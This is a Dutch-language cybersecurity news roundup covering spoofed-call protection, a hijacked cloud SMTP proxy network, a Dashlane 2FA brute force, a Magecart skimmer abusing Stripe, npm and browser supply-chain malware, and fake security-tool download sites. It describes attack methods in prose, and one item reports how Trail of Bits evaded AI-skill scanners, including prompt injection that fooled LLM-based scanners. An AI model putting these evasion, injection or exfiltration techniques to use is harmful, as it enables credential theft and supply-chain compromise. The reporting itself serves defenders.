De nieuwe beveiligingsfunctie is gebaseerd op de open standaard voor Rich Communication Services (RCS) en functioneert uitsluitend op Android-apparaten waarop de apps Telefoon van Google, Contacten en Berichten van Google (met ingeschakelde RCS) zijn geïnstalleerd. Google stelt dat deze functie twee veelvoorkomende fraudetactieken aanpakt: het spoofen van het telefoonnummer van een bekend contact en het gelijktijdig gebruiken van AI-stemkloneringstechnologie om de stem van die persoon na te bootsen.

De U.S. Federal Trade Commission (FTC) waarschuwde vorig jaar dat de gerapporteerde verliezen door impersonatie-scams in 2024 alleen al $2,95 miljard bedroegen. Het Global Financial Fraud Threat Assessment van INTERPOL uit maart 2026 identificeerde fraude via impersonatie als een van de belangrijkste dreigingen die vorig jaar wereldwijd bijdroegen aan meer dan $440 miljard aan verliezen. Google benadrukt dat, hoewel mensen jarenlang vertrouwden op nummerweergave om te weten wie er aan de lijn was, dit door de nieuwe tactieken van oplichters niet langer afdoende is. Gebruikers die een andere telefoonapplicatie gebruiken, kunnen de Telefoon van Google app vanuit de Play Store installeren en deze als standaard instellen om zich beter te beschermen tegen valse oproepen.

In december heeft Google ook de ondersteuning voor Android-bescherming tegen scam-oproepen tijdens gesprekken uitgebreid naar diverse banken en financiële apps in de Verenigde Staten, waaronder Cash App en de mobiele bankapp van JPMorganChase.

Bron: wiz.io | Bron 2: ftc.gov | Bron 3: interpol.int

De dreigingsactor bekend als PCPJack heeft cloudservers, geassocieerd met Amazon Web Services (AWS), Google Cloud en Microsoft Azure, gekaapt om een verborgen SMTP-e-mailrelaynetwerk op te zetten. Dit netwerk omvat gecompromitteerde zakelijke servers in de Verenigde Staten, Europa en Azië, die stilletjes zijn omgezet in SMTP-proxies. Deze proxies zijn geverifieerd op hun e-mailrelay functionaliteit en elke vijf minuten gesynchroniseerd met een downstream ontvanger. De infrastructuur was nog actief toen deze werd ontdekt, zo meldt dreigingsinformatiebedrijf Hunt.io.

Hunt.io deed de ontdekking nadat de dreigingsactor achter de operatie twee open directory's op een command en control (C2) server (213.136.80[.]73) zonder enige authenticatie had achtergelaten. In deze directory's werden onder andere broncode, gecompileerde binaire bestanden, logs van de implementatiestatus, internetscanners, exploitatie tools en een live Sliver configuratie aangetroffen.

PCPJack kwam voor het eerst aan het licht in april 2026, toen SentinelOne een framework voor het stelen van inloggegevens identificeerde dat specifiek gericht was op clouddiensten. Opvallend was dat PCPJack maatregelen nam om processen of artefacten van TeamPCP te beëindigen en te verwijderen, een andere bekende hackergroep die recent aandacht trok met aanvallen op softwaretoeleveringsketens.

Een van de open directory's bevatte een met Sliver geïntegreerde SMTP-proxy-implementatie toolkit, samen met Chisel tunneling en proxy binaire bestanden voor de meeste Linux CPU-architecturen, zoals AMD64, ARM64 en x86. Aan de slachtofferkant wordt het binaire bestand gedropt als een verborgen bestand met een punt als voorvoegsel en blijft het bestaan op "/var/tmp/.xs."

Verder werden in de directory's deployer scripts gevonden. Deze scripts zijn ontworpen om de Sliver C2 client configuratie te laden en te filteren op Linux beacons die binnen de laatste tien minuten hebben ingecheckt. Beacons zijn implantaten die periodiek contact opnemen met de C2 server om te controleren op commando's. Elke beacon ontvangt een SOCKS5-proxy poort die deterministisch is afgeleid van een MD5-hash van zijn Sliver UUID, en wordt toegewezen aan het bereik 10000-14999. Dit elimineert de noodzaak voor een gedeeld poort register.

Het script is ook in staat om een SMTP-kwaliteitspoort uit te voeren die controleert op uitgaande toegang tot smtp.gmail[.]com:587. Hosts die deze controle niet doorstaan, worden overgeslagen. Dit definieert het doel van de operatie: hosts die geen e-mail kunnen doorsturen, hebben geen waarde voor deze pijplijn. Beacons worden verwerkt in batches van 50, met een wachttijd van 25 minuten na uploads en 15 minuten na uitvoeringscommando's, om langzame beacon check-ins op te vangen.

Latere versies van de deployer scripts bleken de SMTP-poort en de batch-logica te verwijderen. Ook aanwezig is een diagnostisch script dat vijf actieve beacons selecteert en hen elk een shell commando geeft dat controleert op de aanwezigheid van Chisel binaire bestanden op bekende droppaden, een lopend Chisel proces, de bereikbaarheid van poort 9000 op de C2, en de aanwezigheid van persistentie artefacten, zoals de cron-ingang of de systemd-service.

Bovendien draait de C2 server een Python script genaamd "chisel_verifier.py" als een persistent achtergrondprogramma. Dit script inventariseert elke 60 seconden actieve Chisel tunnelpoorten via `ss -tlnp`, test elke nieuwe poort op SMTP-functionaliteit en verwijdert mislukte of verloren tunnels uit de actieve pool. Geverifieerde proxies worden verrijkt met exit IP-adres, land en ASN via diensten zoals api.ipify[.]org en ip-api[.]com. De proxylijsten worden vervolgens elke vijf minuten gesynchroniseerd via het Secure Copy Protocol (SCP) naar een aparte downstream server op 38.242.204[.]245. Deze server is momenteel niet toegankelijk. Het uiteindelijke doel van de operatie is in dit stadium nog onduidelijk.

Hunt.io beschrijft de campagne als opportunistisch en stelt dat de 230-node uitkomst het waarneembare resultaat is. Of deze progressie een enkele operator weerspiegelt die herhaalt, of meerdere actoren die dezelfde infrastructuur delen, kan niet worden vastgesteld uit de teruggevonden bestanden. De geverifieerde proxylijst wordt elke vijf minuten gesynchroniseerd met die server, en iemand verbruikt deze. Of het nu voor spam, phishing of iets anders is, de infrastructuur om op schaal te leveren was duidelijk operationeel.

Bron: Hunt.io

Dashlane heeft bekendgemaakt dat dreigingsactoren erin geslaagd zijn om de authenticatie met twee factoren (2FA) te omzeilen via een brute-force aanval. Hierdoor konden ongeautoriseerde apparaten worden geregistreerd en versleutelde wachtwoordkluizen worden gedownload van minder dan twintig gebruikers van persoonlijke abonnementen. Een afgerond onderzoek bevestigt dat er geen bredere impact is geweest op de interne systemen van Dashlane.

De aanval begon op zondag 31 mei 2026, toen een externe dreigingsactor een brute-force campagne met hoog volume lanceerde gericht op gebruikersaccounts van Dashlane. De aanvaller concentreerde zich specifiek op de API-eindpunten voor apparaatregistratie van het platform. Hierbij werden geautomatiseerde verzoeken verstuurd om zescijferige eenmalige tokens te raden, die via e-mail of authenticator apps worden verzonden.

De geautomatiseerde beveiligingscontroles van Dashlane reageerden zoals bedoeld, wat leidde tot accountvergrendelingen bij de getroffen accounts voordat de aanval volledig werd ingedamd. De dreigingsactor maakte misbruik van het apparaatregistratieproces van Dashlane, dat wordt geactiveerd wanneer een gebruiker een nieuw apparaat, zoals een mobiele telefoon of computer, aan zijn account toevoegt.

Na succesvolle 2FA-verificatie registreert Dashlane het apparaat en downloadt automatisch een kopie van de versleutelde kluis naar dat apparaat. Door geldige zescijferige tokens voor een subset van accounts te brute-forcen, konden aanvallers het registratieproces voltooien. Dit resulteerde in de effectieve autorisatie van het apparaat en het downloaden van versleutelde kluiskopieën zonder medeweten van de accounthouder.

Minder dan twintig gebruikers van persoonlijke abonnementen kregen hun versleutelde kluizen geëxfiltreerd. Alle getroffen gebruikers zijn direct door Dashlane op de hoogte gebracht. Ondanks het downloaden van de kluizen, stelt Dashlane dat de gestolen gegevens effectief ontoegankelijk blijven. De inhoud van de kluizen wordt beschermd door het hoofdwachtwoord van de gebruiker, dat nooit in platte tekst naar Dashlane servers wordt verzonden en nooit wordt opgeslagen. Dit is een kernprincipe van Dashlane's zero-knowledge architectuur.

De versleutelingsstack, bestaande uit Argon2 + AES-256-CBC + HMAC-SHA256, maakt het brute-forcen van het hoofdwachtwoord statistisch onhaalbaar, zelfs over langere periodes. Er is geen bewijs dat de interne infrastructuur van Dashlane op enig moment tijdens het incident is gecompromitteerd. Op 4 juni 2026 kondigde Dashlane de voltooiing van het onderzoek aan, waarbij werd bevestigd dat er geen aanvullende impact op klanten was. De herstelmaatregelen omvatten: het blokkeren van kwaadaardig verkeer op netwerkniveau, het reactiveren van opgeschorte en vergrendelde gebruikersaccounts, het implementeren van extra verificatielagen in het apparaatregistratieproces en het verharden van de beveiliging van API-eindpunten om toekomstig kwaadaardig verkeer te detecteren en te filteren. Het incident onderstreept dat zelfs robuuste wachtwoordmanagers kunnen worden aangevallen aan de authenticatieperimeter in plaats van de versleutelingslaag zelf, waardoor sterke 2FA-configuratie en hygiëne van het hoofdwachtwoord cruciale verdedigingsmechanismen zijn voor alle gebruikers.

Bron: Dashlane

Onderzoek heeft uitgewezen dat AI-skillscanners van platforms zoals ClawHub, Cisco en Vercel kunnen worden omzeild. Dit maakt het mogelijk voor kwaadaardige skills om te worden geüpload en verspreid via openbare marktplaatsen, wat een groeiend risico vormt voor de toeleveringsketen in ecosystemen van agents. Skills fungeren hierbij als herbruikbare componenten die code kunnen uitvoeren en het gedrag van modellen kunnen beïnvloeden.

Onderzoekers van Trail of Bits toonden aan dat aanvallers detectiemechanismen kunnen ontwijken met eenvoudige obfuscatietrucs en verpakkingstechnieken, in plaats van geavanceerde exploitatiemethoden. In een aanval gericht op ClawHub voegden de onderzoekers meer dan 100.000 nieuwe regeltekens in, waardoor kwaadaardige code buiten het inspectievenster van de scanner werd geduwd. Dit veroorzaakte truncatie in de analysepijplijn, waardoor schadelijke logica onopgemerkt bleef en geïntegreerde scan-engines, zoals Code Insight van VirusTotal, in verwarring werden gebracht.

Verder onderzoek naar de open-source skillscanner van Cisco en de skills.SH-integraties van Vercel onthulde aanvullende zwakke punten. Deze platforms zijn afhankelijk van een combinatie van statische analyse, patroonherkenning en inspectie gebaseerd op grote taalmodellen (LLM's). De onderzoekers van Trail of Bits ontdekten echter dat deze verdedigingsmechanismen kunnen worden gepasseerd wanneer kwaadaardige inhoud wordt verborgen in minder voor de hand liggende formaten, zoals gecompileerde Python-bytecode (.pyc) of bestanden gebaseerd op archieven, zoals .docx.

Een gedemonstreerde aanval betrof een ogenschijnlijk onschuldige skill voor tekstopmaak die gecompileerde Python-bytecode bevatte. Hoewel de zichtbare broncode onschadelijk leek, extraheerde de bytecode stiekem omgevingsvariabelen, wat potentiële data-exfiltratie mogelijk maakte. Omdat scanners zich voornamelijk richtten op leesbare bronbestanden, bleef de kwaadaardige payload onopgemerkt en werd deze als veilig geclassificeerd.

Een andere effectieve techniek maakte gebruik van indirecte uitvoeringspaden. Een skill instrueerde de AI-agent om operationele logica op te halen uit een document dat een verborgen script bevatte. Deze methode omzeilde zowel detectie gebaseerd op signatures als LLM-redenering, aangezien het kwaadaardige gedrag niet direct werd blootgesteld in de primaire skill-definitie.

Onderzoekers van Trail of Bits slaagden er ook in om promptinjectie te gebruiken om scanners gebaseerd op LLM's te manipuleren. In één voorbeeld vermomde een skill een configuratie van een kwaadaardig pakketregister als een standaard bedrijfsconfiguratie. Door het gedrag te presenteren als een legitieme bedrijfsvereiste, degradeerde de scanner het risico naar een lage ernst. De skill werd goedgekeurd, ondanks het potentieel om installaties van afhankelijkheden om te leiden naar infrastructuur onder controle van aanvallers.

Deze omzeilingen benadrukken fundamentele beperkingen in de huidige scanbenaderingen. Statische analyse heeft moeite met complexe of verborgen bestandsformaten, terwijl systemen gebaseerd op LLM's kunnen worden misleid door overtuigende of contextueel ingekaderde instructies. Bovendien creëren beperkingen zoals beperkte contextvensters en selectieve bestandsinspectie blinde vlekken die aanvallers herhaaldelijk kunnen exploiteren.

Het probleem wordt verergerd door de snelle groei van openbare marktplaatsen voor skills, waar gebruikers skills van derden kunnen installeren met minimale verificatie. In tegenstelling tot gecontroleerde omgevingen, geven deze platforms vaak prioriteit aan bruikbaarheid en snelheid boven strenge beveiligingscontroles, wat de blootstelling aan kwaadaardige uploads vergroot.

De onderzoekers van Trail of Bits concluderen dat geautomatiseerd scannen alleen onvoldoende is om ecosystemen van AI-skills te beveiligen. Ze bevelen aan om traditionele praktijken voor toeleveringsketenbeveiliging toe te passen, waaronder gecurateerde repositories, strikte toegangscontroles en versiepinnen. Totdat sterkere beveiligingsmaatregelen zijn ontwikkeld, wordt organisaties geadviseerd om alle openbare AI-skills als onvertrouwde code te behandelen en deze niet in gevoelige omgevingen te implementeren.

Bron: Trail of Bits

De versie van de Hola Browser voor Windows is gecompromitteerd in een aanval op de supply chain, waarbij een niet-aangegeven uitvoerbaar bestand is geleverd dat door onderzoekers is geïdentificeerd als een miner voor cryptocurrency. Deze compromittering werd ontdekt tijdens periodieke certificeringscontroles van de Hola Browser, als onderdeel van de AppEsteem certificeringstestprocedure die eerder met succes was doorlopen.

Hola is een Israëlisch bedrijf dat voornamelijk bekend staat om zijn Hola VPN, een dienst die gebruikers in staat stelt internetverkeer via de apparaten van andere gebruikers of via betaalde proxy-infrastructuur te routeren om geografische beperkingen te omzeilen en toegang te krijgen tot content uit verschillende landen. De Hola Browser is gebaseerd op Chromium en integreert functionaliteit voor VPN en proxy rechtstreeks in de browser. Het bedrijf en zijn producten hebben in het verleden kritiek gekregen vanwege ondoorzichtige praktijken voor verkeersafhandeling, die verband hielden met de exploitatie van een commerciële dienst genaamd Luminati Networks, waarbij gratis gebruikers werden omgezet in proxy's.

Tijdens de meest recente controles op de integriteit van de applicatie hebben Sophos en andere bedrijven gespecialiseerd in cybersecurity, die betrokken waren bij het evaluatieproces, een niet-aangegeven uitvoerbaar bestand met de naam ‘me.exe’ ontdekt. Dit bestand werd in sommige gevallen geïnstalleerd onder C:\Program Files\Hola\. Het bestand was niet gecertificeerd, had geen tijdstempel, was niet digitaal ondertekend, bevatte geobfusceerde code en kon naar het geheugen schrijven. Bij nader onderzoek vond Sophos aanwijzingen dat het binaire bestand een Monero cryptocurrency-miner was, inclusief tekenreeksen die wezen op de ware aard ervan.

De miner voegt een uitzonderingsregel toe voor Windows Defender, kopieert zichzelf naar Program Files als ‘HolaMonitorService.exe’, creëert een automatisch startende service voor Windows genaamd ‘hola_monitor_svc’ en wordt uitgevoerd wanneer de computer inactief is.

Hola werd door AppEsteem op de hoogte gebracht van de bevindingen en bevestigde dat het bedrijf een compromittering van de supply chain had ondergaan. Deze compromittering werd ook onafhankelijk gedetecteerd door het cybersecuritybedrijf Sygnia. Desondanks stelt de softwareleverancier dat slechts ongeveer 0,1% van zijn gebruikers is getroffen en dat er geen bewijs is van toegang tot gebruikersdata, diefstal of compromittering daarvan. Avi Raz Cohen, CEO van Hola, verzekerde: "We hebben sindsdien onze distributiepijplijn volledig herbouwd, geavanceerde verificatie van code-signing geïmplementeerd en strengere toegangscontroles en continue monitoring in onze infrastructuur geïntroduceerd. Deze maatregelen zijn ontworpen om te garanderen dat alleen aangegeven, gecertificeerde en ondertekende componenten aan onze gebruikers worden geleverd." BleepingComputer heeft contact opgenomen met Hola voor meer informatie over hoe de inbreuk heeft plaatsgevonden, wie de daders zijn en of cliënten op andere platforms ook zijn getroffen, maar heeft tot op heden geen reactie ontvangen.

Bron: Sophos | Bron 2: hubs.li

Een nieuwe campagne van Magecart maakt misbruik van de API-infrastructuur van Stripe om zowel de payload voor diefstal van creditcardgegevens als de geëxfiltreerde data van afrekenpagina's te hosten. Deze kwaadaardige activiteit is volledig afhankelijk van Google Tag Manager (GTM) en Stripe-domeinen, te weten googletagmanager.com en api.stripe.com, die door online winkels impliciet worden vertrouwd.

De nieuwe malwarefamilie is ontdekt door onderzoekers van e-commerce beveiligingsbedrijf Sansec. Zij stelden vast dat de kwaadaardige code wordt geladen vanuit een Google Tag Manager-container en wordt uitgevoerd op elke pagina die deze laadt. Volgens Sansec bewegen zowel de payload als de gestolen creditcards via api.stripe.com. Aangezien winkels dit domein standaard toestaan, glipt de skimmer langs Content Security Policy (CSP)-regels en netwerkfilters die verkeer naar een onbekend skimmerdomein anders zouden detecteren.

Google Tag Manager is een beheersysteem waarmee website-eigenaren scripts voor analyses, advertenties en tracking kunnen toevoegen en beheren zonder de broncode van de site te wijzigen. Stripe is een veelgebruikt platform voor betalingsverwerking dat door online winkels wordt ingezet voor het accepteren van creditcards, het beheren van klantbestellingen en het afhandelen van facturatie.

De kwaadaardige code is volgens Sansec ingebed in legitiem ogende GTM-containers, die activeren wanneer een klant een afrekenpagina bereikt. Vervolgens wordt de Stripe API opgeroepen voor een specifiek klantenrecord, in dit geval `cus_TfFjAAZQNOYENR`. Uit de metadata-velden van dit record leest de malware JavaScript-code die het opnieuw samenstelt en vervolgens uitvoert met `new Function()`. De creditcard-skimmer richt zich op Magento- en Adobe Commerce-afrekenpagina's en probeert betalingsgegevens (creditcardnummer, vervaldatum, CVV-code, naam van de klant), evenals factuur- en e-mailadressen en telefoonnummers vast te leggen.

De gestolen gegevens worden samengevoegd tot één string, geobfusceerd met een XOR-bewerking en lokaal opgeslagen in plaats van onmiddellijk te worden geëxfiltreerd. Het ophalen van de gegevens gebeurt via een afzonderlijke routine, die direct na het laden van een pagina en vervolgens elke minuut wordt uitgevoerd. Hierbij wordt de datablob in tweeën gesplitst, een nieuw Stripe-klantobject aangemaakt en de gestolen gegevens opgeslagen in metadata-velden. Elke gestolen betaalkaart wordt zo een nep-klantenrecord in het Stripe account van de aanvaller, waardoor Stripe als opslagbackend voor gestolen gegevens fungeert. Zodra de gegevens zijn gekopieerd, wordt het lokale bestand gewist om sporen van de aanval te elimineren en dubbele uploads te voorkomen.

Sansec heeft ook een variant van de aanval ontdekt waarbij Google Firestore, een clouddatabaseservice voor gegevensopslag en realtime-opvraging, wordt gebruikt in plaats van Stripe. In die versie van de campagne wordt de payload opgehaald uit een Firestore-document genaamd `tracking/captcha` in een project met de naam `braintree-payment-app`. De gestolen gegevens worden daar opgeslagen in een andere `localStorage`-sleutel, `_d_data_customer_`. De namen van het document en het project helpen de malware op te gaan in legitiem betaal- en botbeveiligingsverkeer. Het Stripe-klantenrecord dat de skimmer bevatte, werd naar verluidt op 24 december 2025 aangemaakt, wat suggereert dat de operatie ten minste sinds die datum actief is. Klanten kunnen zich tegen dergelijke risico's beschermen door eenmalige virtuele kaarten met ingestelde limieten te gebruiken.

Bron: Sansec | Bron 2: hubs.li

Op 05 juni 2026 heeft Volexity details onthuld over de Chinese dreigingsactor VerdantBamboo, ook bekend als WARP PANDA of UNC5221. Deze groep is verantwoordelijk voor geavanceerde aanvallen waarbij Managed Services Providers (MSP’s) worden misbruikt om toegang te krijgen tot doelwitorganisaties. De bevindingen kwamen voort uit een incidentrespons-onderzoek dat in september 2025 startte, nadat verdacht netwerkverkeer werd waargenomen vanuit een virtuele machine op Linux-basis.

Het incident begon met een Egnyte Storage Sync systeem op het netwerk van een klant. Volexity ontdekte dat dit systeem verbinding maakte met een door de dreigingsactor beheerd domein achter IP-adressen van Cloudflare, in plaats van met een legitiem Egnyte-domein. Bovendien maakte de appliance TLS-verbindingen met Google’s publieke DNS-server (8.8.8.8) voor DNS over HTTPS-queries.

Uit analyse bleek dat VerdantBamboo het Storage Sync systeem had gecompromitteerd met behulp van de BRICKSTORM malware. Deze backdoor is eerder beschreven in rapporten van onder andere CISA, Google Cloud en NVISO. De dreigingsactor kreeg via de web SSL VPN van de slachtofferorganisatie toegang tot de appliance. Met de proxy-mogelijkheden van de malware en gestolen inloggegevens wist VerdantBamboo de Microsoft 365-omgeving (M365) van het slachtoffer te benaderen. Volexity schat met grote zekerheid in dat dit gebeurde om legitiem netwerkverkeer na te bootsen en Conditional Access-beleid te omzeilen.

Verder onderzoek toonde aan dat de initiële compromittering al minstens 18 maanden eerder had plaatsgevonden. Nadat de eerste herstelwerkzaamheden waren afgerond, keerde VerdantBamboo terug. Ze braken opnieuw in bij de slachtofferorganisatie door verbinding te maken met de firewall via gestolen administratieve inloggegevens. Deze toegang werd gebruikt om web SSL VPN-toegang in te schakelen en te configureren, waarna interne systemen werden benaderd en extra op maat gemaakte malware op een Synology NAS-apparaat werd geïmplementeerd.

Tijdens het onderzoek stelde Volexity vast dat VerdantBamboo ook de Managed Services Provider (MSP) van het slachtoffer had gecompromitteerd. Na een onderzoek van het MSP-netwerk bleek dat de pfSense-firewall van de MSP was geïnfecteerd met een BSD-variant van BRICKSTORM. Deze compromittering had eveneens minstens 18 maanden eerder plaatsgevonden. Volexity concludeert met redelijke zekerheid dat de slachtofferorganisatie indirect was gecompromitteerd via de inbraak bij de MSP.

Forensisch onderzoek van het Storage Sync systeem en de pfSense-firewall leidde tot de ontdekking van meerdere BRICKSTORM-backdoor-samples. Volexity vond later ook een BRICKSTORM-sample op een uitgeschakelde virtuele machine, een legacy Linux-gebaseerde GroupWise-server die werd gebruikt voor gearchiveerde e-mailberichten.

Naast BRICKSTORM identificeerde Volexity twee voorheen ongedocumenteerde malwarefamilies: PLENET en AGENTPSD. PLENET is geschreven in .NET Core en gecompileerd naar native code met behulp van Native AOT-functionaliteiten voor Linux systemen; Google Cloud noemde deze malware "GRIMBOLT". AGENTPSD, geschreven in Python en gecompileerd met PyInstaller, heeft beperkte functionaliteit en diende waarschijnlijk als fallback-backdoor. De aanvalsketen en de mogelijkheden van AGENTPSD, BRICKSTORM en PLENET worden uitgebreid beschreven in het rapport van Volexity.

Bron: Volexity | Bron 2: virustotal.com | Bron 3: learn.microsoft.com

Hackers hebben overtuigende nepwebsites opgezet die populaire security tools imiteren om gebruikers te verleiden malware te downloaden. Deze sites zijn professioneel ontworpen en lijken vrijwel identiek aan de officiële projectpagina's, inclusief links naar daadwerkelijke GitHub-repositories. Echter, zodra een gebruiker op de downloadknop klikt, worden slachtoffers via een verborgen verkeersfiltersysteem, bekend als een Traffic Distribution System (TDS), omgeleid.

Dit TDS fungeert als een poortwachter en bepaalt welke gebruikers worden doorgestuurd naar malware en welke een onschadelijk bestand ontvangen. Het systeem screent op locatie, browsertype, VPN-gebruik en de mogelijke aanwezigheid van een security onderzoeker, wat detectie en identificatie van de aanval bemoeilijkt.

Analisten van Check Point Research hebben deze grootschalige campagne onderzocht en ontdekten dat de nepwebsites een JavaScript-script laden dat wordt gehost op het CloudFront-netwerk van Amazon. Dit script onderschept de eerste downloadklik en stuurt de gebruiker onzichtbaar door naar het TDS, zonder dat er zichtbaar iets ongebruikelijks gebeurt. Check Point meldt dat de operatie specifiek gericht is op tools die door security professionals worden gebruikt, waaronder Ghidra, dnSpy en SpiderFoot.

De campagne is al minstens sinds december 2025 actief, waarbij de levering van malware vanaf begin januari 2026 is bevestigd. Telemetrie van VirusTotal toont meer dan 5.000 inzendingen die gekoppeld zijn aan gerelateerde samples, en onderzoekers merken op dat de werkelijke blootstelling waarschijnlijk veel hoger is. Het feit dat de geïmiteerde tools dagelijks worden gebruikt door security onderzoekers, maakt deze campagne bijzonder zorgwekkend, aangezien het de mensen treft die getraind zijn om dergelijke bedreigingen te herkennen.

Drie verschillende malwarefamilies dienen als uiteindelijke payloads. RemusStealer is een nieuw opgedoken infostealer die data van meer dan 20 browsers steelt, waaronder cryptocurrency wallets, password managers en tools voor twee-factor authenticatie. AnimateClipper monitort stilletjes het klembord en verwisselt gekopieerde walletadressen met door aanvallers gecontroleerde adressen, waardoor mogelijk echte fondsen worden omgeleid zonder dat het slachtoffer dit merkt. Een derde payload, genaamd SessionGate, is een multi-stage loader met zware obfuscation en een eenmalige sleutellevering, wat analyse buitengewoon moeilijk maakt.

Meer dan 100 actieve nepwebsites zijn geïdentificeerd in dit cluster, die allemaal dezelfde CloudFront-gehoste scripts en campagne-identificatoren delen. Sites zoals ghidralite[.]com en dnspy[.]org verschijnen bovenaan de Google-resultaten voor relevante zoekopdrachten, wat hen een vals gevoel van autoriteit geeft. Wanneer een gebruiker de muis over de downloadknop beweegt, toont de statusbalk van de browser zelfs een echte GitHub-URL, zodat voorzichtige gebruikers mogelijk niets verkeerds opmerken. Het JavaScript dat door deze pagina's wordt geladen, luistert naar de eerste interactie van de gebruiker en onderschept deze voordat de normale navigatie kan plaatsvinden. Op Chrome legt het een mousedown-event vast; op Firefox gebruikt het een click-event. Vervolgens genereert het een TDS runtime URL, leidt de gebruiker stilzwijgend om en annuleert de oorspronkelijke navigatie volledig. Het slachtoffer belandt ergens totaal anders dan de bedoeling was, en het hele proces is onzichtbaar.

SessionGate onderscheidt zich door zijn agressieve weerstand tegen analyse. Het oorspronkelijk gedownloade bestand is een 7-Zip-archief van ongeveer 20 MB, maar het eigenlijke uitvoerbare bestand erin is slechts 15 MB, waarbij de resterende 5 MB bestaat uit geobfusceerde loadercode die is ontworpen om tools zoals de decompiler van IDA te omzeilen. Functies kunnen meer dan 500 KB groot zijn, en versleutelde strings worden in coderuimtes geplaatst om disassemblers verder te verwarren. De decryptiesleutel voor de laatste payload-fase wordt server-side gegenereerd en slechts één keer per slachtoffersessie vrijgegeven. Als een onderzoeker de keten vanaf een ander IP-adres probeert te herhalen, retourneert de server een geldig ogende maar nutteloze sleutel, waardoor de payload volledig onleesbaar wordt.

Security teams wordt sterk aangeraden om software uitsluitend van officiële projectpagina's of geverifieerde repositories te downloaden, bestands-hashes na het downloaden te verifiëren en actief uitgaande verbindingen naar de Command & Control (C2) domeinen en infrastructuur die in deze campagne zijn geïdentificeerd, te monitoren.

Bron: Check Point Research | Bron 2: research.checkpoint.com

Een nieuwe aanval op de supply chain heeft 36 pakketten in de Node Package Manager (npm) index geïnfecteerd met de infostealer malware genaamd IronWorm. Deze malware, geschreven in Rust, is ontworpen om 86 omgevingsvariabelen en 20 credential-bestanden te stelen. Hieronder vallen onder andere OpenAI-, AWS-, Anthropic- en npm-referenties, configuratiebestanden van vaults, SSH-sleutels en Exodus cryptocurrency wallet-bestanden.

Onderzoekers van JFrog, een bedrijf gespecialiseerd in supply chain en devops, meldden dat IronWorm zich verbergt achter een eBPF kernel rootkit en communiceert met de operator via het netwerk van Tor. De Rust-gebaseerde malware verspreidt zichzelf door gestolen referenties te gebruiken voor publicatie op npm, inclusief geheimen die zijn gekoppeld aan npm's Trusted Publishing workflow. Zodra een ontwikkelaar of CI-omgeving is gecompromitteerd, kan de malware getrojaniseerde versies van pakketten publiceren die eigendom zijn van het slachtoffer, waardoor vervolgens extra ontwikkelaars en CI-systemen worden geïnfecteerd.

Dit gedrag vertoont conceptuele overeenkomsten met Shai Hulud, waarvan de code onlangs op GitHub werd gepubliceerd. Hoewel JFrog-onderzoekers geen duidelijke connectie vonden tussen IronWorm en Shai Hulud, observeerden ze wel dezelfde commit-namen in beide supply-chain aanvallen. Dit opent de mogelijkheid dat de nieuwe malware een evolutie is van de payload van TeamPCP, aangezien IronWorm een "op maat gemaakt, zorgvuldig gebouwd implantaat van een operatie met eigen infrastructuur" lijkt te zijn.

Volgens JFrog begon de recente aanval vanuit een gecompromitteerd account genaamd 'asteroiddao', dat pakketversies publiceerde die een Rust ELF-binary bevatten, uitgevoerd via 'preinstall'. Malafide commits werden vervolgens in repositories gepusht. De auteur van de commits verschijnt als "claude", en de tijdstempels wijzen op enkele jaren geleden, in sommige gevallen zelfs tot 13 jaar, hoewel ze pas de afgelopen dagen zijn gepusht. Dit is waarschijnlijk bedoeld om onderzoek te omzeilen.

Een opmerkelijk element in de bevindingen van JFrog is een mechanisme dat afhankelijk is van GitHub Actions om de gestolen geheimen te leveren. JFrog legt uit dat de malware de geheimen serialiseert tot één enkele waarde en deze vervolgens "wegschrijft naar een onschuldig ogend bestand, alsof het lint- of formatteringsoutput betreft". De laatste stap van het proces is het uploaden van het bestand als een build-artefact, dat door iedereen met toegang kan worden gedownload. Op deze manier kan de dreigingsactor een externe command-and-control (C2) volledig vermijden. De onderzoekers merken echter op dat dit leveringsmechanisme niet is gebruikt in de geanalyseerde IronWorm supply-chain aanval.

Een andere bijzonderheid is dat de operator de herstelzin van zijn eigen cryptocurrency wallet had vastgelegd in de code. De onderzoekers stellen dat de enige reden hiervoor is dat de dreigingsactor niet wilde dat de malware deze zou stelen tijdens de testfase.

Het applicatiebeveiligingsbedrijf Ox Security meldde dat de IronWorm-aanval zeer vroeg werd gedetecteerd en gestopt voordat deze zich kon verspreiden naar populairdere pakketten op npm. Het bedrijf heeft een lijst gepubliceerd van alle getroffen pakketnamen en hun versies, en adviseert ontwikkelaars om te upgraden naar gefixte releases, hun sleutels te roteren en twee-factor authenticatie (2FA) in te schakelen voor alle accounts. Tegelijkertijd hebben Endor Labs en StepSecurity een zeer vergelijkbare, maar afzonderlijke aanval waargenomen met JavaScript-gebaseerde malware genaamd binding.gyp, die registry poisoning en GitHub Actions-infectie uitvoerde in hetzelfde tijdsbestek.

Bron: JFrog | Bron 2: ox.security | Bron 3: endorlabs.com

Een recente discussie op een ondergronds forum, getiteld "Hacking for Profit. Working method", biedt een zeldzame inkijk in de manier waarop cybercriminelen informatie over de exploitatie van kwetsbaarheden en hacktechnieken delen. De post, geschreven door een actor genaamd "Hercules", is niet bijzonder lang of technisch, maar blinkt uit in het opdelen van een complex proces in duidelijke, uitvoerbare stappen. Het behandelt het scannen, detecteren, beoordelen, exploiteren en te gelde maken van kwetsbaarheden, en geeft inzicht in de betekenis van vulnerability disclosure programma’s.

Onderzoekers van Flare analyseerden de originele post en de reacties daarop gedurende enkele maanden. De activiteit rondom de draad toonde aan dat de invloed ervan verder reikte dan de initiële publicatie. Meerdere gebruikers bedankten "Hercules", vroegen om privécontact, identificeerden zichzelf als beginners of gaven aan begeleiding te zoeken om van theoretische kennis naar praktische hacking over te stappen. Het succes van de post was zo groot dat de methode werd herplaatst en besproken op vier extra forums, wat aantoont hoe "Hercules" beginnende dreigingsactoren een eenvoudig raamwerk biedt voor het begrijpen van de exploitatie van kwetsbaarheden en het verdienen van geld hiermee.

De handleiding van "Hercules" legt uit hoe een ontdekte kwetsbaarheid te gelde kan worden gemaakt. Het begint met advies over het zoeken naar recentelijk openbaar gemaakte kwetsbaarheden, met name kwetsbaarheidsklassen met een grote impact, zoals remote code execution, authenticatie bypass, accountovername, IDOR (Insecure Direct Object Reference) en data-expositie. Vervolgens wordt ingegaan op het identificeren van blootgestelde systemen, het valideren of deze systemen kwetsbaar zijn, en het beslissen of de resultaten moeten worden gerapporteerd, verkocht of geëxploiteerd.

